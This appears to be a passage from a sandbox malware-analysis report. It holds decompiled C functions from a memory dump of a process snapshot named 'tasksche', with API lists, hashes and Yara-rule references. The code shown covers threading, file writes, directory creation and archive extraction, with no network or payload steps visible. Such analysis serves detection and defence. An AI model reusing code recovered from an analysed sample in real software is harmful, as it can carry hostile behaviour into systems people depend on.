								__eflags =  *( *((intOrPtr*)(_t607 + 8)) + 0x6284) - 1 - E0040A351(_t613, __eflags, _t613 - 0x2158);
								if(__eflags != 0) {
									goto L32;
								} else {
									_push(1);
									E0040A351(_t613, __eflags, _t613 - 0x2158);
									goto L33;
								}
							}
						}
						__eflags =  *((intOrPtr*)(_t607 + 0x4454)) -  *((intOrPtr*)(_t504 + 0x92e8));
						if( *((intOrPtr*)(_t607 + 0x4454)) <  *((intOrPtr*)(_t504 + 0x92e8))) {
							goto L20;
						}
						__eflags =  *((char*)(_t607 + 0x4459));
						if( *((char*)(_t607 + 0x4459)) != 0) {
							goto L191;
						}
						goto L20;
					}
					__eflags = _t593 - 3;
					if(_t593 != 3) {
						L9:
						__eflags = _t593 - 5;
						if(_t593 != 5) {
							goto L189;
						}
						__eflags =  *((char*)(_t500 + 0x8904));
						if( *((char*)(_t500 + 0x8904)) == 0) {
							goto L191;
						}
						_t490 = E00418B3D(_t585, _t500, _t607 + 0x10, 0,  *(_t613 - 0x18));
						__eflags = _t490;
						if(_t490 != 0) {
							 *((intOrPtr*)( *_t500 + 0xc))( *((intOrPtr*)(_t500 + 0xb040)),  *((intOrPtr*)(_t500 + 0xb044)), 0);
							goto L14;
						} else {
							E004062BA(0x4335ac, 1);
							goto L191;
						}
					}
					__eflags =  *((char*)(_t607 + 0x545d));
					if( *((char*)(_t607 + 0x545d)) == 0) {
						goto L189;
					} else {
						E00406EB8(_t500, _t613,  *((intOrPtr*)(_t607 + 8)), _t500, _t607 + 0x545e);
						goto L9;
					}
				}
				if( *((char*)(__ecx + 0x21d7)) == 0) {
					L4:
					_t364 = 0;
					goto L16;
				}
				if(E00418B3D(__edx, _t500, __ecx + 0x10, 0, _t345) != 0) {
					goto L5;
				} else {
					E004062BA(0x4335ac, 1);
					goto L4;
				}
			}

APIs

__EH_prolog.LIBCMT ref: 004076AF

Part of subcall function 00418B3D: _wcscpy.LIBCMT ref: 00418C26

_memcmp.LIBCMT ref: 00407ABB

Strings

E, xrefs: 0040808E

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog_memcmp_wcscpy
String ID: E
API String ID: 1926841707-3568589458
Opcode ID: 6c4558fb238d66dc116ff5003075a2549135680b9de7e03f82a9277970bbe958
Instruction ID: c8680630b07ceb330da05956c27536b96a03d31217007f6de18683c0289c3294
Opcode Fuzzy Hash: 6c4558fb238d66dc116ff5003075a2549135680b9de7e03f82a9277970bbe958
Instruction Fuzzy Hash: 4872B870D086849EEF25DB64C844BEA7BA55F05304F0840FFE94A6B2D2C77D7984CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 0040D116 Relevance: 6.0, APIs: 4, Instructions: 29
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D116() {
				struct tagMSG _v32;
				int _t6;
				long _t12;

				_t6 = PeekMessageW( &_v32, 0, 0, 0, 0); // executed
				if(_t6 != 0) {
					GetMessageW( &_v32, 0, 0, 0);
					TranslateMessage( &_v32);
					_t12 = DispatchMessageW( &_v32); // executed
					return _t12;
				}
				return _t6;
			}

0x0040d127
0x0040d12f
0x0040d138
0x0040d142
0x0040d14c
0x00000000
0x0040d14c
0x0040d154

APIs

PeekMessageW.USER32 ref: 0040D127
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0040D138
TranslateMessage.USER32(?), ref: 0040D142
DispatchMessageW.USER32 ref: 0040D14C

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Message$DispatchPeekTranslate
String ID:
API String ID: 4217535847-0
Opcode ID: db1d2709ee26d26a19af258b04a512226032370801fdef34d6f208b0e00134af
Instruction ID: 62915b0a08277243b8fe4fd8ce30adb6e130eab43b2b780e39f86cd7d7c3188f
Opcode Fuzzy Hash: db1d2709ee26d26a19af258b04a512226032370801fdef34d6f208b0e00134af
Instruction Fuzzy Hash: 9FE0ED72E0112AA7CB20ABE19C0CDDB7F6CEE062517404021BD05E2015D638D116C7F5

Uniqueness

Uniqueness Score: -1.00%

Function 0040820B Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 119
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040820B(intOrPtr __ecx, intOrPtr __edx, void* __eflags) {
				void* __edi;
				void* _t47;
				void* _t50;
				signed int _t53;
				signed int _t54;
				signed int _t58;
				signed int _t63;
				signed int _t77;
				void* _t82;
				signed int _t85;
				void* _t97;
				intOrPtr _t101;
				void* _t103;
				void* _t106;

				_t106 = __eflags;
				_t96 = __edx;
				E0041A4DC(E004296DE, _t103);
				E0041AAF0(0xe0f4);
				_t101 = __ecx;
				_push(_t97);
				E00401822(_t103 - 0xe100, __edx, _t97, _t106,  *((intOrPtr*)(__ecx + 8)));
				_t98 = __ecx + 0x445c;
				_t77 = 0;
				 *(_t103 - 4) = 0;
				_t47 = E004088FD(_t103 - 0xe100, __ecx + 0x445c);
				_t82 = _t103 - 0xe100;
				if(_t47 == 0) {
					L18:
					 *(_t103 - 4) =  *(_t103 - 4) | 0xffffffff;
					E00401228(_t82, _t98); // executed
					 *[fs:0x0] =  *((intOrPtr*)(_t103 - 0xc));
					return 0;
				}
				_push(1); // executed
				_t50 = E00401417(_t82, __edx); // executed
				if(_t50 != 0) {
					__eflags =  *(_t103 - 0x309b);
					if( *(_t103 - 0x309b) != 0) {
						L17:
						_t82 = _t103 - 0xe100;
						goto L18;
					}
					 *((intOrPtr*)(_t103 - 0x14)) = 0;
					__eflags =  *(_t103 - 0x30ab);
					if(__eflags == 0) {
						L10:
						E004070BC(_t101, _t96, _t103, __eflags, _t103 - 0xe100);
						_t53 =  *(_t101 + 8);
						_t85 =  *(_t53 + 0x72b2) & 0x0000ffff;
						__eflags = _t85 - 0x54;
						if(_t85 == 0x54) {
							L12:
							 *((char*)(_t53 + 0x51c1)) = 1;
							L13:
							_t54 =  *(_t101 + 8);
							__eflags =  *((short*)(_t54 + 0x72b2)) - 0x49;
							if( *((short*)(_t54 + 0x72b2)) != 0x49) {
								__eflags =  *((char*)(_t54 + 0x51c1));
								_t33 =  *((char*)(_t54 + 0x51c1)) == 0;
								__eflags =  *((char*)(_t54 + 0x51c1)) == 0;
								_t54 = E004116C9((_t54 & 0xffffff00 | _t33) & 0x000000ff, (_t54 & 0xffffff00 | _t33) & 0x000000ff, _t101 + 0x445c);
							}
							E00401000(_t54);
							do {
								_t58 = E004076AA(_t101, _t96, _t103 - 0xe100, E0040369F(_t96, _t103), _t103 - 0xd); // executed
								__eflags = _t58;
							} while (_t58 != 0);
							goto L17;
						}
						__eflags = _t85 - 0x49;
						if(_t85 != 0x49) {
							goto L13;
						}
						goto L12;
					}
					_t63 = E0041A7F7(_t103 - 0x1018, _t103 - 0xe0e2);
					__eflags =  *(_t103 - 0x30a6);
					_t98 = 0x800;
					while(1) {
						E0040A8A1(_t103 - 0x1018, _t98, (_t63 & 0xffffff00 | __eflags == 0x00000000) & 0x000000ff);
						E004067E1(_t103 - 0x2060);
						_push(0);
						__eflags = E004096BC(_t96, _t103 - 0x1018, _t103 - 0x2060);
						if(__eflags == 0) {
							break;
						}
						_t77 = _t77 +  *((intOrPtr*)(_t103 - 0x1060));
						_t63 =  *(_t103 - 0x105c);
						asm("adc [ebp-0x14], eax");
						__eflags =  *(_t103 - 0x30a6);
					}
					 *((intOrPtr*)(_t101 + 0x2210)) =  *((intOrPtr*)(_t101 + 0x2210)) + _t77;
					asm("adc [eax+0x4], ecx");
					goto L10;
				}
				if(E0040A788(_t98, L"rar") != 0) {
					E004062BA(0x4335ac, 1);
				}
				goto L17;
			}

0x0040820b
0x0040820b
0x00408210
0x0040821a
0x00408221
0x00408223
0x0040822d
0x00408232
0x00408238
0x00408241
0x00408244
0x00408249
0x00408251
0x004083a6
0x004083a6
0x004083aa
0x004083b7
0x004083bf
0x004083bf
0x00408257
0x00408259
0x00408260
0x00408286
0x0040828c
0x004083a0
0x004083a0
0x00000000
0x004083a0
0x00408292
0x00408295
0x0040829b
0x00408321
0x0040832a
0x0040832f
0x00408332
0x00408339
0x0040833d
0x00408345
0x00408345
0x0040834c
0x0040834c
0x0040834f
0x00408357
0x00408359
0x00408366
0x00408366
0x0040836e
0x0040836e
0x00408379
0x0040837e
0x00408397
0x0040839c
0x0040839c
0x00000000
0x0040837e
0x0040833f
0x00408343
0x00000000
0x00000000
0x00000000
0x00408343
0x004082af
0x004082b4
0x004082bc
0x004082db
0x004082ea
0x004082f5
0x004082fa
0x0040830f
0x00408311
0x00000000
0x00000000
0x004082c9
0x004082cb
0x004082d1
0x004082d4
0x004082d4
0x0040831c
0x0040831e
0x00000000
0x0040831e
0x0040826f
0x0040827c
0x0040827c
0x00000000

APIs

__EH_prolog.LIBCMT ref: 00408210

Part of subcall function 00401822: __EH_prolog.LIBCMT ref: 00401827
Part of subcall function 00401822: _memset.LIBCMT ref: 0040196A
Part of subcall function 00401822: _memset.LIBCMT ref: 00401979
Part of subcall function 00401822: _memset.LIBCMT ref: 00401988

Part of subcall function 00401417: __EH_prolog.LIBCMT ref: 0040141C

_wcscpy.LIBCMT ref: 004082AF

Strings

rar, xrefs: 00408262

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog_memset$_wcscpy
String ID: rar
API String ID: 2876264062-1792618458
Opcode ID: d8064b72c640e36a82a0b68421302acdf3e8c056939b4e9f8210efc5c70c758b
Instruction ID: 75000dcce843433d4275637ef0618472c828e59e125cdaf0ff5f97d994d1ab7f
Opcode Fuzzy Hash: d8064b72c640e36a82a0b68421302acdf3e8c056939b4e9f8210efc5c70c758b
Instruction Fuzzy Hash: 3D41A4319002589EDB24DB50C955BEA77B8AB14304F4448FFE489B3182DB796FC8CB29

Uniqueness

Uniqueness Score: -1.00%

Function 00411254 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49
threadCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00411254() {
				void* __ecx;
				void* _t5;
				void* _t7;
				int _t8;
				void* _t13;
				void** _t20;
				void* _t23;
				void* _t24;

				_t23 = 0;
				if( *0x4335ac > 0) {
					_t20 = 0x4335b0;
					do {
						_t7 = CreateThread(0, 0x10000, E004111DD, 0x4335ac, 0, _t24 + 0x10); // executed
						_t13 = _t7;
						if(_t13 == 0) {
							_push(L"CreateThread failed");
							_push(0x4335ac);
							E00401000(E00406423(0x4335ac));
							E00406371(0x4335ac, 2);
						}
						 *_t20 = _t13;
						 *0x00433630 =  *((intOrPtr*)(0x433630)) + 1;
						_t8 =  *0x44f58c;
						if(_t8 != 0) {
							_t8 = SetThreadPriority( *_t20, _t8);
						}
						_t23 = _t23 + 1;
						_t20 =  &(_t20[1]);
					} while (_t23 <  *0x4335ac);
					return _t8;
				}
				return _t5;
			}

APIs

CreateThread.KERNELBASE ref: 00411278
SetThreadPriority.KERNEL32(?,?,?,?,004112E4,-00000108,00404FE0), ref: 004112BF

Part of subcall function 00406423: __vswprintf_c_l.LIBCMT ref: 00406441

Strings

CreateThread failed, xrefs: 00411284

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Thread$CreatePriority__vswprintf_c_l
String ID: CreateThread failed
API String ID: 2655393344-3849766595
Opcode ID: 3061c48cbf7df5314d67cb84a6f78a2ab06f9f7c5b99b3b88179035cff10f0ee
Instruction ID: 964536ca15170dd961cb9332306e5bd8003a90b1d1e662a5f33448d65f1dc838
Opcode Fuzzy Hash: 3061c48cbf7df5314d67cb84a6f78a2ab06f9f7c5b99b3b88179035cff10f0ee
Instruction Fuzzy Hash: 4B01A2753453057BD3215F55AC46BB673A9EB44766F20043FFB82E11D0DAB4A8608A2D

Uniqueness

Uniqueness Score: -1.00%

Function 004126F0 Relevance: 4.6, APIs: 3, Instructions: 110
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E004126F0(void* __ecx, unsigned int _a4, char _a8, char _a11) {
				signed int _v8;
				char _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				unsigned int _t37;
				signed int _t39;
				intOrPtr _t41;
				signed int _t44;
				signed int _t50;
				unsigned int _t53;
				void* _t59;
				void* _t64;
				signed int _t65;
				signed int* _t67;
				intOrPtr* _t69;
				void* _t74;

				_t53 = _a4;
				_t74 = __ecx;
				if(_t53 == 0) {
					E004063CE(0x4335ac);
				}
				_t37 = 0x40000;
				if(_t53 < 0x40000) {
					_t53 = 0x40000;
					_a4 = 0x40000;
				}
				if(_t53 >  *(_t74 + 0xe6d8)) {
					_t37 = _t53 >> 0x10;
					if(_t37 <= 0x10000) {
						if(_a8 == 0 ||  *(_t74 + 0x4b34) == 0 &&  *((char*)(_t74 + 0x4c38)) == 0) {
							L11:
							_a11 = 0;
							goto L12;
						} else {
							_a11 = 1;
							if( *((char*)(_t74 + 0x4c38)) == 0) {
								L12:
								_push(_t67);
								if( *((char*)(_t74 + 0x4c38)) == 0) {
									_t39 = E0041CF3E(_t53, _t64, _t67, _t53); // executed
									_v8 = _t39;
									__eflags = _t39;
									if(__eflags != 0) {
										L20:
										if( *((char*)(_t74 + 0x4c38)) != 0) {
											L27:
											 *(_t74 + 0xe6d8) = _t53;
											 *((intOrPtr*)(_t74 + 0xe6dc)) = _t53 - 1;
											return _t39;
										}
										E0041A820(_t67, _v8, 0, _t53);
										if(_a11 == 0) {
											L24:
											_t69 = _t74 + 0x4b34;
											_t41 =  *_t69;
											_t94 = _t41;
											if(_t41 != 0) {
												_push(_t41);
												E0041A506(_t53, _t69, _t74, _t94);
											}
											_t39 = _v8;
											 *_t69 = _t39;
											goto L27;
										}
										_t59 = 1;
										if( *(_t74 + 0xe6d8) < 1) {
											goto L24;
										} else {
											goto L23;
										}
										do {
											L23:
											_t44 =  *((intOrPtr*)(_t74 + 0x70)) - _t59;
											_t65 = _t53 - 1;
											_t53 = _a4;
											_t59 = _t59 + 1;
											 *((char*)((_t65 & _t44) + _v8)) =  *((intOrPtr*)(( *(_t74 + 0xe6d8) - 0x00000001 & _t44) +  *(_t74 + 0x4b34)));
										} while (_t59 <=  *(_t74 + 0xe6d8));
										goto L24;
									}
									L15:
									if(_a11 != 0 || _t53 < 0x1000000) {
										goto L10;
									} else {
										_t67 = _t74 + 0x4b34;
										_t50 =  *_t67;
										_t88 = _t50;
										if(_t50 != 0) {
											_push(_t50);
											E0041A506(_t53, _t67, _t74, _t88);
											 *_t67 =  *_t67 & 0x00000000;
										}
										_t39 = E0041254D(_t74 + 0x4b38, _t53);
										 *((char*)(_t74 + 0x4c38)) = 1;
										goto L20;
									}
								}
								_v8 = _v8 & 0x00000000;
								goto L15;
							}
							L10:
							E0041216A( &_v20);
							E0041C77F( &_v20, 0x42d504);
							goto L11;
						}
					}
				}
				return _t37;
			}

APIs

__CxxThrowException@8.LIBCMT ref: 0041276B
_malloc.LIBCMT ref: 00412785

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

_memset.LIBCMT ref: 004127D8

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: AllocateException@8HeapThrow_malloc_memset
String ID:
API String ID: 3965744532-0
Opcode ID: 9a5626d063f902226345b1e3bd7973a083b583a89a09867b0a04f46aed37c533
Instruction ID: 1154a5c9599e5537b836a1002f89e902606abe80a59ae87693d08389c363c3d7
Opcode Fuzzy Hash: 9a5626d063f902226345b1e3bd7973a083b583a89a09867b0a04f46aed37c533
Instruction Fuzzy Hash: 05410470905745ABEB25EE38D6C47DBB7D0AF14304F20482FE5A6D3281C7B8A9E4C718

Uniqueness

Uniqueness Score: -1.00%

Function 00408AA9 Relevance: 4.6, APIs: 3, Instructions: 104
fileCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00408AA9(intOrPtr* __ecx, void* __edx, void* _a4, long _a8) {
				long _v8;
				char _t28;
				long _t33;
				long _t34;
				int _t37;
				void* _t38;
				char _t43;
				intOrPtr _t48;
				long _t56;
				void* _t61;
				struct _OVERLAPPED* _t63;
				intOrPtr* _t68;

				_t61 = __edx;
				_push(__ecx);
				_t68 = __ecx;
				if(_a8 != 0) {
					if( *((intOrPtr*)(__ecx + 0xc)) == 1) {
						 *(_t68 + 4) = GetStdHandle(0xfffffff5);
					}
					while(1) {
						_t63 = 0;
						_t43 = 0;
						_v8 = 0;
						if( *((intOrPtr*)(_t68 + 0xc)) == 0) {
							goto L12;
						}
						if(_a8 <= 0) {
							L14:
							if( *((char*)(_t68 + 0x14)) == 0 ||  *((intOrPtr*)(_t68 + 0xc)) != 0) {
								L21:
								_t28 = _t43;
								 *((char*)(_t68 + 8)) = 1;
								L22:
								return _t28;
							} else {
								if(E00406336(0x4335ac, _t68 + 0x1e, 0) == 0) {
									E004064F3(0x4335ac, 0, _t68 + 0x1e);
									goto L21;
								}
								_t33 = _v8;
								if(_t33 < _a8 && _t33 > 0) {
									_t48 =  *_t68;
									_t38 =  *((intOrPtr*)(_t48 + 0x10))(0);
									asm("sbb edx, edi");
									 *((intOrPtr*)(_t48 + 0xc))(_t38 - _v8, _t61);
								}
								continue;
							}
						} else {
							goto L7;
						}
						while(1) {
							L7:
							_t56 = _a8 - _t63;
							_t34 = 0x4000;
							if(_t56 < 0x4000) {
								_t34 = _t56;
							}
							_t37 = WriteFile( *(_t68 + 4), _a4 + _t63, _t34,  &_v8, 0);
							asm("sbb bl, bl");
							_t43 =  ~(_t37 - 1) + 1;
							if(_t43 == 0) {
								goto L14;
							}
							_t63 = _t63 + 0x4000;
							if(_t63 < _a8) {
								continue;
							}
							L13:
							if(_t43 != 0) {
								goto L21;
							}
							goto L14;
						}
						goto L14;
						L12:
						WriteFile( *(_t68 + 4), _a4, _a8,  &_v8, 0); // executed
						asm("sbb bl, bl");
						_t43 = 1;
						goto L13;
					}
				}
				_t28 = 1;
				goto L22;
			}

APIs

GetStdHandle.KERNEL32(000000F5,?,?,?,0040BB41,?,?,00000000,?,?,004124ED,?,?,?,00000001,?), ref: 00408AC5
WriteFile.KERNEL32(00000001,?,00004000,?,00000000,?,?,0040BB41,?,?,00000000,?,?,004124ED,?,?), ref: 00408B01
WriteFile.KERNELBASE(00000001,?,00000000,?,00000000,?,?,?,?,?,0040BB41,?,?,00000000,?,?), ref: 00408B2D

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: 2630e5a33cfd0af18d09aa74bbfd8346207367a51011a650ef626fa881f46d74
Instruction ID: f20fcf70e75a5c6d44a32b1c4255a65a5bf54a4d93884812af3801fc7a684339
Opcode Fuzzy Hash: 2630e5a33cfd0af18d09aa74bbfd8346207367a51011a650ef626fa881f46d74
Instruction Fuzzy Hash: 9B31C371300204AFDB209F65CA44BAB77A9EB94310F04813FF996E72C1DB78A905DF29

Uniqueness

Uniqueness Score: -1.00%

Function 004092C9 Relevance: 4.6, APIs: 3, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004092C9(void* __eflags, WCHAR* _a4, char _a8, intOrPtr _a12) {
				short _v4100;
				signed int _t9;
				long _t11;
				void* _t12;
				int _t21;
				WCHAR* _t22;
				void* _t24;

				_t24 = __eflags;
				E0041AAF0(0x1000);
				_t22 = _a4;
				_t9 =  *(E0040A08A(_t24, _t22)) & 0x0000ffff;
				if(_t9 == 0x2e || _t9 == 0x20) {
					L3:
					if(E004092A5(_t22) != 0 || E0040A3DC(_t22,  &_v4100, 0x800) == 0 || CreateDirectoryW( &_v4100, 0) == 0) {
						_t11 = GetLastError();
						__eflags = _t11 - 2;
						if(_t11 == 2) {
							L12:
							_t12 = 2;
							return _t12;
						}
						__eflags = _t11 - 3;
						if(_t11 == 3) {
							goto L12;
						}
						return 1;
					} else {
						goto L6;
					}
				} else {
					_t21 = CreateDirectoryW(_t22, 0); // executed
					if(_t21 != 0) {
						L6:
						if(_a8 != 0) {
							E0040908D(_t22, _a12);
						}
						return 0;
					}
					goto L3;
				}
			}

0x004092c9
0x004092d1
0x004092d8
0x004092e1
0x004092ee
0x004092ff
0x00409307
0x00409341
0x00409347
0x0040934a
0x00409356
0x00409358
0x00000000
0x00409358
0x0040934c
0x0040934f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004092f6
0x004092f9
0x004092fd
0x0040932e
0x00409332
0x00409338
0x00409338
0x00000000
0x0040933d
0x00000000
0x004092fd

APIs

Part of subcall function 0040A08A: _wcslen.LIBCMT ref: 0040A090

CreateDirectoryW.KERNELBASE(00000000,00000000,00000000,?,?,?,0040941E,?,00000001,00000000,?,?,?,?,?), ref: 004092F9
CreateDirectoryW.KERNEL32(?,00000000,00000000,?,00000800,00000000,00000000,?,?,?,0040941E,?,00000001,00000000,?,?), ref: 00409328
GetLastError.KERNEL32(00000000,00000000,?,?,?,0040941E,?,00000001,00000000,?,?,?,?,?,?,004067A5), ref: 00409341

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CreateDirectory$ErrorLast_wcslen
String ID:
API String ID: 2260680371-0
Opcode ID: e440fb91986ed667ecea05b8623b67f22d0563812c7c3dc4cd5ad5119d8de580
Instruction ID: 5cfd1deac55777c6f3d5c0bdf32a3cf990456680eccb4e8d5c114054f7fd3324
Opcode Fuzzy Hash: e440fb91986ed667ecea05b8623b67f22d0563812c7c3dc4cd5ad5119d8de580
Instruction Fuzzy Hash: DD01C031100204A5DB216A664C42BBB37589B4EB84F88447BFD41F62D2CB7C9C92D97E

Uniqueness

Uniqueness Score: -1.00%

Function 0040E2D7 Relevance: 4.6, APIs: 3, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040E2D7(void* __ecx, void* __edx, void* __eflags) {
				intOrPtr _t20;
				void* _t25;
				void* _t39;
				void* _t45;
				intOrPtr _t47;

				_t39 = __edx;
				E0041A4DC(E00429794, _t45);
				_push(__ecx);
				E0041AAF0(0x6460);
				 *((intOrPtr*)(_t45 - 0x10)) = _t47;
				E0041A7F7(0x44ac32, "X");
				E00410D16(0x44cc54, 0x42a570);
				E0041A7F7(0x44bc52,  *((intOrPtr*)(_t45 + 0xc)));
				E0040537E(0x443980,  *((intOrPtr*)(_t45 + 0xc)));
				_t4 = _t45 - 4;
				 *(_t45 - 4) =  *(_t45 - 4) & 0x00000000;
				_t20 = 4;
				 *0x449c14 = _t20;
				 *0x449c10 = _t20;
				 *0x449c0c = _t20;
				 *0x448ad3 =  *0x441823;
				_push(0x443980);
				 *0x448b08 = 1;
				 *0x448b0b = 1;
				 *0x448ad4 =  *0x441822; // executed
				E00407150(_t45 - 0x6470, _t39,  *_t4); // executed
				 *(_t45 - 4) = 1;
				E004083C0(_t45 - 0x6470, _t39,  *_t4); // executed
				 *(_t45 - 4) = 0;
				_t25 = E00407074(_t45 - 0x6470); // executed
				 *[fs:0x0] =  *((intOrPtr*)(_t45 - 0xc));
				return _t25;
			}

0x0040e2d7
0x0040e2dc
0x0040e2e1
0x0040e2e7
0x0040e2ef
0x0040e2fc
0x0040e30d
0x0040e31a
0x0040e32b
0x0040e330
0x0040e330
0x0040e336
0x0040e337
0x0040e33c
0x0040e341
0x0040e34b
0x0040e355
0x0040e35c
0x0040e363
0x0040e36a
0x0040e36f
0x0040e37a
0x0040e37e
0x0040e389
0x0040e38d
0x0040e397
0x0040e3a0

APIs

__EH_prolog.LIBCMT ref: 0040E2DC
_wcscpy.LIBCMT ref: 0040E2FC

Part of subcall function 00410D16: _wcslen.LIBCMT ref: 00410D2C
Part of subcall function 00410D16: _wcscpy.LIBCMT ref: 00410D42

_wcscpy.LIBCMT ref: 0040E31A

Part of subcall function 00407150: __EH_prolog.LIBCMT ref: 00407155

Part of subcall function 00407074: __EH_prolog.LIBCMT ref: 00407079

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog_wcscpy$_wcslen
String ID:
API String ID: 2067596392-0
Opcode ID: aa5c2ab907567c22763022a3e14260f934ba444c4f603d8b7408ac10fc9ad921
Instruction ID: 34baa23ef678cdf00172776f2fc4f6da7b22e3ce89fab18911e310d79256e735
Opcode Fuzzy Hash: aa5c2ab907567c22763022a3e14260f934ba444c4f603d8b7408ac10fc9ad921
Instruction Fuzzy Hash: E7112675906294AED705EBA4AC427CD7BA0DB16318F1040AFF444A2292CFB91A90DB6E

Uniqueness

Uniqueness Score: -1.00%

Function 00401768 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E00401768(intOrPtr* __ecx, void* __edx) {
				void* __edi;
				void* _t25;
				signed int _t27;
				intOrPtr _t30;
				signed int _t31;
				intOrPtr _t35;
				void* _t54;
				void* _t58;

				_t51 = __edx;
				E0041A4DC(E00429705, _t58);
				_t56 = __ecx;
				if( *((intOrPtr*)(__ecx + 0xb056)) != 0) {
					E0040117B(_t58 - 0x1c, __edx, __ecx);
					 *(_t58 - 4) = 0;
					__eflags =  *(__ecx + 0x658c);
